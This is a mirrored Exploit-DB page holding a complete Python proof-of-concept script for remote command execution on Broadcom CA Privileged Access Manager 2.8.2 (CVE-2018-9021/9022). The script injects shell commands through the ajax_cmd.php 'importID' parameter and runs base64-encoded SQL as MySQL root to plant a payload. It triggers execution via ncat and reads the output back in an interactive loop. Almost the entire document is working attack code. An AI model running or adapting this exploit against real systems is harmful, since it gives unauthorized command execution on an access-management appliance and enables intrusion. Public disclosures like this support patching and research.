Broadcom CA Privilged Access Manager 2.8.2 – Remote Command Execution - 体验盒子

作者： Peter Lapp

日期： 2019-12-05

类别：

webapps

平台：

windows

来源：https://www.exploit-db.com/exploits/47748/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

# Title: Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution

# Author: Peter Lapp

# Date: 2019-12-05

# Vendor: https://techdocs.broadcom.com/us/product-content/recommended-reading/security-notices/ca20180614-01--security-notice-for-ca-privileged-access-manager.html

# CVE: CVE-2018-9021 and CVE-2018-9022

# Tested on: v2.8.2

import urllib2

import urllib

import ssl

import sys

import json

import base64

ctx = ssl.create_default_context()

ctx.check_hostname = False

ctx.verify_mode = ssl.CERT_NONE

def send_command(ip, cmd):

cmd = urllib.quote_plus(cmd)

url = 'https://'+ip+'/ajax_cmd.php?cmd=AD_IMPORT&command=add&groupId=123&importID=|'+cmd+'+2>%261||&deviceMode=test'

request = urllib2.Request(url, None)

response = urllib2.urlopen(request, context=ctx)

result = json.load(response)

return result['responseData']

def get_db_value():

cmd = "echo select value from configuration_f where name = 'ssl_vpn_network' | mysql -u root uag"

db_value = send_command(ip,cmd)

db_value = db_value.split('\n')[1]

return db_value

def encode_payload(cmd):

sql_string = "update configuration_f set value='\\';"+cmd+" > /tmp/output;\\'' where name='ssl_vpn_network'"

cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag "

return cmd

def restore_sql(value):

sql_string = "update configuration_f set value='"+value+"' where name='ssl_vpn_network'"

cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag "

send_command(ip,cmd)

def main():

print '''Xceedium Command Execution PoC by Peter Lapp(lappsec)'''

if len(sys.argv) != 2:

print "Usage: xceedium_rce.py <target ip>"

sys.exit()

global ip

ip = sys.argv[1]

print 'Enter commands below. Type exit to quit'

while True:

cmd = raw_input('# ')

if cmd == "exit":

sys.exit()

orig_value = get_db_value()

payload = encode_payload(cmd)

send_command(ip, payload)

send_command(ip, 'echo -e openvpn\\n | ncat --send-only 127.0.0.1 2210')

output = send_command(ip, 'cat /tmp/output')

print output

restore_sql(orig_value)

if __name__ == "__main__":

main()